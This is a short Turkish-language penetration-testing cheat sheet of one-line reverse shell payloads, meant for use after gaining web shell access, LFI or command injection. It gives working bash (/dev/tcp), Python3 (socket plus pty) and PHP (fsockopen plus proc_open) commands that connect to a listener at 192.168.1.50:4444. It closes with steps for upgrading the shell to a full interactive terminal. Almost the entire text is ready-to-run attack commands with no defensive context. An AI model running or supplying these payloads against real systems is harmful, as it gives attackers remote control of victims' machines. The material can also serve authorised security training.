Modern Teknik - Cok Dilli - Reverse Shell
Web shell erisimi, LFI veya komut enjeksiyonu durumunda yorumlanan dillerdeki tek satir komutlar etkili reverse shell saglar.
Bash
bash -i >& /dev/tcp/192.168.1.50/4444 0>&1
# Alternatif:
exec 5<>/dev/tcp/192.168.1.50/4444
cat <&5 | while read l; do $l 2>&5 >&5; done
Python3
python3 -c '
import socket,os,pty
s=socket.socket()
s.connect(("192.168.1.50",4444))
[os.dup2(s.fileno(),i) for i in range(3)]
pty.spawn("/bin/bash")'
PHP
php -r '$s=fsockopen("192.168.1.50",4444);$p=proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$pi);'
PTY Upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 40 columns 200